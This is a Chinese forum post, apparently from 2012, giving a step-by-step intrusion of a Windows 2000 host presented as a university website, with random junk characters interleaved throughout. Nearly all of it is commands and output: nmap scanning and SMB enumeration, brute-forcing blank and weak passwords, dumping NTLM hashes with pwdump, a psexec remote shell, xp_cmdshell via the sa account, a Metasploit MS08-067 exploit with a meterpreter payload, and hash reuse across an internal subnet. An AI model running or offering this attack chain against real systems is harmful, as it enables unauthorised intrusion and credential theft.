广西师范网站http://202.103.242.241/# [; @/ l( y. @) {# p. P
/ u, G5 n5 x' p. L
root@bt:~# nmap -sS -sV 202.103.242.241
1 h; f3 o& n3 w- \" d N3 A" S0 ?( }( T8 }- Y# K
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST2 A- M; J9 g2 o
5 h( z' x2 o& ]
Nmap scan report for bogon (202.103.242.241)
4 b w# y- Q; {$ W0 c' n# Y+ X
2 u8 M/ [5 y/ ~0 n5 O$ {7 P5 zHost is up (0.00048s latency).% l" F: C: `! b/ K% l* ~
% K1 Z; `6 N, fNot shown: 993 closed ports) m$ Z) t) _1 o$ X1 t( {
0 ?( E1 _; m2 p1 w
PORT STATE SERVICE VERSION
% \; U V- T, |
$ l1 Y# x/ V7 L) _' m0 i135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
+ [$ u8 [1 @7 r+ ]% ]/ r: w/ a( e& V4 M9 o; S( T
139/tcp open netbios-ssn
F* W; |2 ~1 U7 D5 j5 t$ `4 l& u- J& {9 k! F
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds7 V8 G2 p+ Z. ]" [1 H( ]
( h; h5 C/ R) [$ b' X
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
( R/ r! |/ T, R, v3 C3 u/ G7 U' E( ^: J# K2 ^+ Y( H" z- R, A
1026/tcp open msrpc Microsoft Windows RPC3 H5 i3 B, l, z" r' i7 q8 X
/ `1 R* C) V& Q& }/ `2 t% g3372/tcp open msdtc?
$ \5 u( K4 D$ X; \8 G" u5 @2 I: Y. [/ q- C. Z; m( c
3389/tcp open ms-term-serv?3 K& @: B: L' B$ v8 \- m
2 e" [+ E6 _! y, F% e
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :) A+ s6 j- A2 J" y5 p# z9 z- A
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r2 j% G) _2 w3 Z7 m! y( j& s
2 q7 P, n0 ]* G! }* g1 VSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions; n% Y T Q+ |; Z- {8 w
8 C( e+ y; U" B2 N/ s
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
7 k/ D# D# m j; U$ e0 S9 H5 j
0 m8 A* @# G1 Y! l1 M- ZSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO& f8 m5 m! q8 T3 v. u, T( N9 ~
- x7 a( p4 |2 y6 `. H
SF:ptions,6,”hO\n\x000Z”);
; D* z3 w# E. Q3 N% K/ A4 X# I, O+ U5 P. {$ f. K
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)
A# e! T$ B% K: D6 }. X2 ] f4 g: G6 ?( |) [1 P
Service Info: OS: Windows
5 V, d6 n' H7 T6 X2 R3 H& K$ h- |: s) q" @2 k% i( X2 E! U7 E
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ ." H, `, s, s1 G
+ [* |1 G6 C# a8 K
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds
& {. t: J. }& ~- V7 d+ a) h$ U& x M+ G, @; I! k
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本, C( _: e. d' J1 u
% X# W+ u3 z0 Z9 U
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse. k, \! V$ y1 h, W! N" P
& m7 D) R. c+ @& c5 z' b2 f, O
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse" \+ I7 c. g3 D% ?2 U- I/ O
9 w5 W: h6 w) B-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse+ v7 }4 B3 J4 R/ ]% b. t" Q; Q
& p) E5 n# K7 z& f
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
- t* ] F+ c/ H1 K7 V$ Z
9 [* w: @& ~1 {4 l8 ]9 B! m) V-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
- K1 h! T: a5 s1 i% V% d% W
3 o! p& _) F# w; ]- l-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
* R0 _: G# i4 N4 P1 J+ o$ S4 K: ]0 M' z
-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse8 m& h9 b& R7 c
' i, M9 |% T, d, o& b: H) ?! N-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
0 E, F& @! P% e& c5 t
, y8 U2 B; h# r1 T- ^-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
! a& M/ d, y5 H! \; v3 G5 g" e1 m: P9 u+ K
-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse$ T$ I7 V7 h0 t5 ?" C) y* G% |& Y
- o& B. f* g5 f9 A. W
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
1 I/ D2 l" D) P/ V5 O* E
; y. A ^* p$ N) r. n8 U/ x a-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse$ K2 h* k) W2 q
, A! f# x# j H9 U-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
) P0 R& ~) }4 i
& @/ m$ u) E" d8 v# z- b" x% W3 w-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
8 [" U# J7 `; `+ r' ~4 C9 X0 Q+ C" S8 i& s
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse0 C+ w, M# D( Z
2 |# I4 N' Z8 D, J9 d' \
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
. X; R4 X+ Y! W- U) p" w. X2 ]2 { e5 m8 C( N
//此乃使用脚本扫描远程机器所存在的账户名
1 z1 m2 Y0 |/ W$ ^% |+ K: M5 C: |. k+ v4 F% E& C
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
. n0 B: O& U3 E/ a( o- I- @ N( ]
Nmap scan report for bogon (202.103.242.241)
- V# x8 b$ W! \4 c# \& G0 i
: K% k1 ]; C$ `7 e3 R* X/ S: b$ j! mHost is up (0.00038s latency).; k4 J& y4 \! n- i3 E
4 x9 f* O' P) z2 ZNot shown: 993 closed ports `0 l4 V- L2 y! v0 u
4 }, A; n& k& ^! `9 A. Q o4 R
PORT STATE SERVICE
/ s7 s1 ?1 x, t6 N+ o& a4 g/ B* c: {' J2 y
135/tcp open msrpc* }) E1 R5 v' m3 S5 l
" r& o; E4 F6 `" y! K L
139/tcp open netbios-ssn
8 x; a) O9 c9 t7 m; V2 ?9 i
) R% M) {. M. u# q' q1 R445/tcp open microsoft-ds
3 p$ s8 I! y$ K) \4 Z/ h# d: M% j- H! o, D) g; Q* P
1025/tcp open NFS-or-IIS5 o, v3 c3 v4 s! F0 n: }
7 I% W B; D- E/ _! {- y6 f- j1026/tcp open LSA-or-nterm* l' M( U: ?0 l4 h: }5 m
% O; o3 B; W' ^( y; y4 Q }3372/tcp open msdtc
, a- H" W# d# Z7 Y2 |7 {, [8 j. y- c2 b
3389/tcp open ms-term-serv
* h( W5 r4 U2 ^, m& I5 a5 Y Y4 R3 L9 R1 N+ O4 h
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)' q7 ?$ Q! r# a1 {+ U: }* i* L4 h
5 ^% [+ L- d) @5 Z5 R' p6 QHost script results:/ V8 u$ N9 C# p
, p8 b2 r; }' a/ P7 [+ K3 O| smb-enum-users:6 t3 d- J: l/ `- ]! |2 l
1 P4 `' J; l% n6 B! l7 i( u- p7 x. G
|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
/ q9 G( h; q* ]# Y# L/ F3 g2 I# c; n9 L
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds! l2 e) w$ @! z4 h3 A. d9 V: D6 y
6 z% u. O( c+ X; z4 @: v4 F$ mroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241
5 x* \3 s1 T1 J6 o7 Q/ v# q) X# `' i+ E, { i
//查看共享
) |% G' w, a5 n/ A I( Y9 x. F
& D# M# u P$ E$ F* jStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
S1 u6 q4 G* ^; k# ]/ T. f M( b' o. y7 A+ j+ h; \5 V
Nmap scan report for bogon (202.103.242.241)
' p+ ~, P8 L8 A- L3 H1 V; ^
; ^0 @/ q, w! y) ?0 IHost is up (0.00035s latency).6 l0 s0 v! \6 v$ R3 F% z8 B' V2 U
# E* J' W" T, K9 Y- p
Not shown: 993 closed ports
0 T% t1 O: K+ A; J0 \
3 I5 ^$ Z7 |/ ^, |8 t$ {% k$ hPORT STATE SERVICE
0 `7 v6 w3 A$ \, e4 \# i
6 P$ W' x9 c- l* |, y9 n135/tcp open msrpc- {% r7 |6 U% Q3 U) n
* H. h( w4 D; I' b6 w
139/tcp open netbios-ssn
1 E! M/ H+ ^5 Y! X! p( ~, Y$ s2 ~2 N9 a: w( z! X8 H% ?0 r5 L' j
445/tcp open microsoft-ds
) x |! J6 B- k
6 W F- T* S+ {- ?1025/tcp open NFS-or-IIS
( }! W7 z. w' \" l ? l, R
8 f4 C+ F, z4 M0 d& _. {# S! F1026/tcp open LSA-or-nterm$ H! B+ b$ E) O) P Y
& y3 x9 }7 v1 K3 s. M* |
3372/tcp open msdtc. ]! i8 }9 L6 X2 y% |* B! W- V
/ I; M& ]& `9 D) z( S0 A
3389/tcp open ms-term-serv' B) J5 j/ C, t9 p1 ~9 c
7 V8 }' F& z) u9 ?, B j+ P; @; N
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! r7 q" C- c# S/ s5 ]
7 o7 V' q# \' R' G H( THost script results:
5 |4 N, I- `2 o
1 P9 ^2 [3 {+ y2 s! O| smb-enum-shares:3 d' b. y# Y& H
6 d. ^7 C4 f# I H| ADMIN$# ]2 f1 } W( {( K+ w
5 p4 l- S9 i+ P" v- F6 }
| Anonymous access: <none>! j# L0 c) o" @! x# x- }
& v4 [% c% }; y| C$. w3 b' t8 v( j' d# ~% \" Q6 [
& d7 r2 d2 E! w; C3 h+ w. X| Anonymous access: <none>
8 F d4 S' ?4 E4 Z! z8 T1 v4 Z: D0 @
| IPC$
: r! a2 x% d! O
% T0 D# p7 [ M|_ Anonymous access: READ, C' [& U' R. }$ e% b% m
5 b" d) _1 |! {" [9 P+ \
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
) u( {6 l1 s8 H! I P4 y$ x) j, g. Z% p" n- e
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 % U; X }9 D! z8 c
& O4 H7 N& n$ M* `8 C//获取用户密码1 A0 Z7 ~+ h. M4 y- g n
' u/ S k' x% Z
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST' E1 M9 g: f; m: j
; f J0 E' x! z( Q" V0 T
Nmap scan report for bogon (202.103.242.2418)
$ l. ?3 u, {5 N
2 X! a% ^/ z1 ^- eHost is up (0.00041s latency).9 Y; T( S0 Z" j. ^+ n9 g; x
7 L7 Y7 @; j% F9 V8 n$ \Not shown: 993 closed ports1 b* E7 K. e5 r* p5 S* g) I4 k
5 i( z. F. P# h; D7 ?PORT STATE SERVICE
7 ]* e" u" V2 V' V. N& O
6 y7 V6 u2 `" r% E! I: ^5 D135/tcp open msrpc6 W; ]2 n8 W. |( c% ]$ [1 h: k( H
. `: G) _" l$ m
139/tcp open netbios-ssn3 b2 _) [; K! V. k1 V
0 j. Y2 G: I% D! S
445/tcp open microsoft-ds
* d8 {3 S- a3 q( J5 Z$ D
: l l- v( t5 R6 x1025/tcp open NFS-or-IIS( ^" o! X, d3 ^, e% `
% l" n" F* `: l
1026/tcp open LSA-or-nterm
6 }4 }2 X+ X! \% Z( J( q! x* {# W/ T
9 A: [, K/ w, m3372/tcp open msdtc& ^, G* I4 F$ A
5 u/ i% |6 N8 x. S) W3389/tcp open ms-term-serv- Z( O+ I( w; t# w+ D2 Y" p
9 X9 E6 {% x! t$ H' i2 a7 BMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)! @9 T# _( B- b
& V! w/ i/ |/ eHost script results:
" m2 r) D$ N' S8 k1 z
$ T( k" n& B1 J( c3 |" s8 {! b| smb-brute:
3 x5 W/ G8 d, T8 Y9 X+ @ O5 _. }9 u& Q# n' J1 w
administrator:<blank> => Login was successful
A/ B. c" l* n
" a3 E( ?2 m8 H# V* i|_ test:123456 => Login was successful' u: Y& l( m/ C7 P2 V
: j$ u0 I; V6 @( i8 b1 ?
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds
# \+ |7 B/ T6 I3 E7 d# M+ {( w+ V% ~ \3 |$ E! A7 k; l1 \4 O
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
* _: O. f9 v7 B4 F; V: H6 e& ~! V) A$ }, V' v
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
6 H( r% w9 ^7 \; K: ^4 ]" w( N* F
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
! p6 H9 B' s6 Q& q5 V/ o/ \. _9 C! G
3 ?# g# Z! n, g4 u7 Proot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
- L7 z0 ?/ g$ e7 G, z3 i) @! T) Z/ |1 G% Q, }( |
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
0 f5 G8 m/ A7 ^* `4 c4 m
# k4 t& y+ _9 {5 a/ O1 j% w6 F. oNmap scan report for bogon (202.103.242.241)
% c C) c, C, n) ?) f. f
8 b# {3 [& c n: R. N+ x" I6 AHost is up (0.0012s latency).0 ^) W8 g, Z( h' h# D, ]
" t" [) Y4 ^/ d1 o6 F& x
PORT STATE SERVICE9 T: [( T1 V' d' H( B
" O5 ^$ F4 V7 T7 C; I
135/tcp open msrpc" U! H9 [# ~7 l5 r, d3 R/ `
. ]7 G2 q, z2 O, P
139/tcp open netbios-ssn
0 `& R* A9 l# X6 ?* J* B0 q4 j8 d
445/tcp open microsoft-ds" J% x; b" ]! d4 B
4 G5 q1 O& x4 j" u, Y6 i
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)8 ^; J, E* v7 P% y8 T) l; I
: B8 h. b: H* E
Host script results:
' d, W* F6 h# [7 j4 B) n5 I
9 @8 m5 z& b( `4 o| smb-pwdump:
. N- @) l1 I, {# ]+ r, W$ j* c# r, K" K4 r. ~3 o# G+ X2 U
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
$ M3 u/ l# }: V, O; `
& X1 a( a! d m! Z3 C/ C| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************6 x v% k; }: g' r& n, T5 x2 }' q
; u% @2 C+ g8 _1 Z5 Z+ w# N| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D42 p) h, ~* {; `: w
$ l2 P+ ]2 R8 r. @6 i|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2$ t8 R+ A& k" [0 p) e+ A
7 }& E8 d6 B8 b4 ]2 vNmap done: 1 IP address (1 host up) scanned in 1.85 seconds
. \: |. X2 }( O6 {& |- a8 U1 {8 M5 r: ]( I. {& B& P
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell7 h2 v9 A/ O0 n2 Z$ n4 K
- q5 L4 F1 w, N$ l9 w9 P5 u-p 123456 -e cmd.exe+ V2 l0 ~; G* X2 T
T$ u7 T7 n. d# i/ g, X$ UPsExec v1.55 – Execute processes remotely- w+ E. y/ n" H, \
) b7 W& _% s( P) d& v" h
Copyright (C) 2001-2004 Mark Russinovich+ ~4 z) W6 o0 f9 Q3 E' n
& `0 G; G- J% \! ^3 a
Sysinternals – www.sysinternals.com, I4 Y; ^9 a) X+ F" ?
5 f' c( G6 ~! x- y/ R) zMicrosoft Windows 2000 [Version 5.00.2195]
2 _. i$ r- @9 ^: Q% @: b! x- T" u
: d ^$ O, Q; u3 {(C) 版权所有 1985-2000 Microsoft Corp.! n% z ^+ u- n; n4 c* N
3 W8 ?# T- J% p( J& F2 C# D5 s
C:\WINNT\system32>ipconfig
1 N( S" ~" e5 M; |6 A: l- G
5 \/ C6 G2 L, D6 fWindows 2000 IP Configuration) d9 A/ t5 ?7 B6 }
* n. D7 F: L3 m. n6 h: S, J1 |
Ethernet adapter 本地连接:
- E0 J: N" h" x% u6 J( C) B
3 @5 G2 N& T U8 R8 \Connection-specific DNS Suffix . :
; |6 ]$ u' A7 O* m" S1 B6 v4 S; Y; I& F- u" _/ b
IP Address. . . . . . . . . . . . : 202.103.242.241
; \" v# b8 p3 K3 H0 U1 e
/ D4 g: ?- f9 c# I, TSubnet Mask . . . . . . . . . . . : 255.255.255.0! q0 ~" T% }( d2 x$ j
# `. ]1 I+ m+ p; O# F; ]+ g
Default Gateway . . . . . . . . . : 202.103.1.1
7 `( ^' A; W' L2 X3 |, Q9 A0 @* j& O
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令1 [6 M! j; U# D! s: \
! e# X# F; K, |2 Q2 k, Troot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞
& X' i9 K+ o4 r! `2 d' b- w
* p& I% {' Y+ {. `Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
' |* H2 u6 J8 P1 u/ l0 S( v, ~
" |* `. F" x5 v. iNmap scan report for bogon (202.103.242.241)+ \! b" K6 q4 G* d0 ^5 y2 \
9 V& K- V( f% j" `3 d8 l) C
Host is up (0.00046s latency).
z1 m& a& Z A, l: v+ m
6 U( {7 K+ t7 W$ t; `' p9 `# VNot shown: 993 closed ports
w0 Y8 O' W9 x# g0 g* \+ |5 G5 L# {4 R
/ { A8 b4 I9 Y; E' l! A& s9 o+ oPORT STATE SERVICE
. o% L/ T3 s, b3 e& `# d! H* Q" T$ ]& Y
135/tcp open msrpc
0 m- O0 d) n" m7 ?, ?, M
, n4 c2 L/ u2 | v- M V% a* ^139/tcp open netbios-ssn
7 p6 M- z o1 a
' t0 L! x. F# T( q+ \* s N445/tcp open microsoft-ds6 z% ^ P7 D. [; h( r8 T. z
7 \; d' s4 m" t' |% r9 D1025/tcp open NFS-or-IIS6 u9 _" Z" X( F1 ]+ k( Y$ {
% @* G7 X, c- g% h }' m" @, ~- g
1026/tcp open LSA-or-nterm
. H* e' y8 a8 {0 d1 A4 d% G( H
3 d7 H; b8 O; E. n$ O3372/tcp open msdtc
* U$ Y( ^7 u {+ K
% S( e O3 _6 N3389/tcp open ms-term-serv
3 F9 d1 n3 [: X8 T
8 M V/ C9 j- JMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)( C/ [5 b1 W! _9 Y2 }) [
3 Z8 n8 ?4 J& lHost script results:0 S6 P3 Z. I1 Z7 R ~ E) C
, K$ T3 `% Y, A+ z1 K9 r4 t| smb-check-vulns:5 h) X& P. c# p- e
" b% g- N% a5 R5 R+ a( U|_ MS08-067: VULNERABLE6 L2 u8 M) u- Y P% Y
: Z9 U+ b- j1 U( d7 Z) mNmap done: 1 IP address (1 host up) scanned in 1.43 seconds* H( q& r$ t* E5 W" e
9 l! {" P! o1 O& Y! D+ {5 Q# G9 Vroot@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
% u% x5 K2 z* I& q1 o9 K& _* l0 [/ R3 O/ ~+ d
msf > search ms08: A$ D; C. B- ~, H6 t( c
# S, O+ h9 l( g% N S" L* y
msf > use exploit/windows/smb/ms08_067_netapi( D( j X8 {! o1 O5 u$ N9 q: r
5 d1 O9 ? Q0 \2 \6 `) h
msf exploit(ms08_067_netapi) > show options7 j. w R/ }5 u( B6 R$ J
" w5 t3 x1 q5 u! [# z6 A7 ^ h! f
msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241+ |2 {9 T6 J. I
* I& \! ^" D4 o- C( V' dmsf exploit(ms08_067_netapi) > show payloads- Y/ S: c* S# @1 s! f
& Q9 q- K' k% l n; |" rmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp: C1 f% |, G$ G. z \6 C' C6 K
! D- N8 K) v9 f) N! k2 R' H
msf exploit(ms08_067_netapi) > exploit
& Q% H) L' {( [/ M, ]& m+ t9 Q
meterpreter >
; T. A& o* S+ m8 E3 D8 X" @4 G# V2 y3 u+ A* g
Background session 2? [y/N] (ctrl+z)
1 J e( Q) l8 l. M: e; z9 y% Y# l, @- n# t' t
msf exploit(ms08_067_netapi) > sessions -l2 c5 @( R& t4 @
& C4 f3 O+ ]% q4 J. _/ b' n. j7 ]root@bt:/usr/local/share/nmap/scripts# vim usernames.txt7 |3 d* u6 I$ E) V9 H
% ?+ t4 x2 W+ O1 o1 ]test0 C( e* q7 A# c( K( f, n" A
/ B9 w$ d$ j. @( D Fadministrator* }6 U/ I* P- i7 w) S; ~, F0 y1 @9 F
, w2 K; w+ L I% }4 A8 {: l4 _
root@bt:/usr/local/share/nmap/scripts# vim password.txt5 a1 C' F% @+ Q, N" L( O" D6 y
o) R7 x7 K" j" Q' |$ v44EFCE164AB921CAAAD3B435B51404EE
$ t( M; e; J1 _: L% J: U! ]. ]( {, k1 p( u. e _+ s
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 3 O" ?! G. X; r! P+ b# n$ U: F
, q0 ?/ u0 |: R' d* s% | //利用用户名跟获取的hash尝试对整段内网进行登录; ~3 c; c; }1 N- u/ c( O
}$ r$ i/ ?1 i% G
Nmap scan report for 192.168.1.105% a- o7 {2 T: s& g8 K
9 @# U! b" s: `% I T) E
Host is up (0.00088s latency).
& H$ P( c4 d* d! m% a6 |2 G8 i# Z. n, s
Not shown: 993 closed ports) I$ @5 a* M$ x6 Y$ D# {
$ p G- |% ^' w$ s; r* iPORT STATE SERVICE
. ~) o8 i# p7 v" B9 \; R8 \0 H& _- q% ]8 A) a
135/tcp open msrpc( }( `/ K6 N( W0 t5 e3 ~
2 p c; j1 F+ C2 O0 t7 N139/tcp open netbios-ssn
- i" O( K( [$ I6 m( |/ c; U* |$ F- w5 p) Q2 {6 R! w; G- x
445/tcp open microsoft-ds
) P5 L2 Q6 ]% ?6 K' O/ \
- B. M# _2 {" N8 f7 B$ P1025/tcp open NFS-or-IIS5 a6 b3 [9 h9 E# }5 H
) k. ~+ b, O8 W; l3 O
1026/tcp open LSA-or-nterm( W8 l! O1 L1 ~" J+ K# g: C% c4 ]& V
# l, V$ E0 B2 n( l0 k: ~% m9 ~
3372/tcp open msdtc
6 }- A. g' r$ l* L n7 k
/ S) Z1 B# r" A7 G" T) r t3389/tcp open ms-term-serv# q: @: U* ^8 s( ]+ ~/ _9 t
$ ~7 M7 C* g; y3 T( `$ r0 W( cMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
/ R+ Z+ |1 b' a/ ^6 w: Q. @$ Y( u' v# ~1 q7 P0 c3 x
Host script results:
5 P. t! |4 O$ r& Z% w+ O/ \ N! b6 ~1 G. {
| smb-brute:$ Y/ B! h6 n% ?: F% a5 W
, x8 L- |# a# _% g6 r' k|_ administrator:<blank> => Login was successful
" T& C% K" I! F- A
1 H t/ {1 ]$ \, b攻击成功，一个简单的msf+nmap攻击~~·
, w$ J% o! C' ?2 B- e+ q0 K3 z8 b. f$ S* R
|
发表于 2012-12-4 12:46:42
收藏
支持
反对